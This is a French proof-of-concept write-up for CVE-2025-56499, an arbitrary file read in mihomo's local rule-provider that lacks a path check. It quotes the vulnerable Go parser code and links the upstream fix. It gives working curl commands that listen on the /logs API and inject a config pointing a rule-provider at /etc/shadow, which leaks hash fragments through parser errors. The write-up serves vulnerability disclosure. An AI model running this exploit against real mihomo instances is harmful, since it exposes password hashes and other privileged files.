
Preuve de concept d'exploitation pour CVE-2025-56499, démontrant une lecture arbitraire de fichier via un manque de validation de chemin dans la configuration rule-provider de mihomo, avec exfiltration de données basée sur les journaux.
Lecture arbitraire de fichier via un manque de validation de chemin dans le fournisseur de règles local
Correctif en amont : https://github.com/MetaCubeX/mihomo/pull/2177
Versions concernées : mihomo <= v1.19.11
Lors de l'analyse de la configuration rule-providers, la branche type = "file" ne valide pas le chemin fourni. Un attaquant authentifié contrôlant schema.Path peut pointer le fournisseur vers n'importe quel fichier local lisible. Étant donné que la plupart des fichiers arbitraires ne respectent pas le format de règle attendu, des erreurs d'analyse (incluant des fragments substantiels du contenu du fichier) sont émises dans les journaux en mémoire et exposées via l'API /logs. Comme mihomo s'exécute souvent avec des privilèges élevés (root / administrateur), cela entraîne une divulgation d'informations à fort impact.
rules/provider/parse.go, le cas schema.Type == "file" invoque uniquement C.Path.Resolve() et n'impose jamais C.Path.IsSafePath() ni aucune contrainte équivalente de liste blanche / bac à sable.var vehicle P.Vehicle
switch schema.Type {
case "file":
path := C.Path.Resolve(schema.Path)
vehicle = resource.NewFileVehicle(path)
case "http":
path := C.Path.GetPathByHash("rules", schema.URL)
if schema.Path != "" {
path = C.Path.Resolve(schema.Path)
if !C.Path.IsSafePath(path) {
return nil, C.Path.ErrNotSafePath(path)
}
}
vehicle = resource.NewHTTPVehicle(schema.URL, path, schema.Proxy, nil, resource.DefaultHttpTimeout, schema.SizeLimit)
case "inline":
return NewInlineProvider(name, behavior, schema.Payload, parse), nil
default:
return nil, fmt.Errorf("unsupported vehicle type: %s", schema.Type)
}
Déficiences de la branche fichier :
/logs pour capturer les sorties d'erreur de l'analyseur./configs intégrant une entrée rule-providers malveillante avec type = file et le chemin du fichier cible.Écoutez les journaux (exemple de jeton Bearer 123) :
curl -X GET "http://localhost:9999/logs" \
-H "Authorization: Bearer 123"
Injectez une configuration pour lire /etc/shadow :
curl -X PUT "http://localhost:9999/configs" \
-H "Authorization: Bearer 123" \
-H "Content-Type: application/json" \
-d '{"payload": "{\"log-level\": \"debug\", \"external-controller-unix\": \"mihomo.sock\", \"rule-providers\": {\"pwn\": {\"type\": \"file\", \"behavior\": \"classical\", \"format\": \"text\", \"path\": \"/etc/shadow\"}}}"}'
Charge utile non échappée :
{
"log-level": "debug",
"external-controller-unix": "mihomo.sock",
"rule-providers": {
"pwn": {
"type": "file",
"behavior": "classical",
"format": "text",
"path": "/etc/shadow"
}
}
}
Résultat : Les lignes d'échec d'analyse dans /logs contiennent des fragments de /etc/shadow (exemple de capture d'écran) :
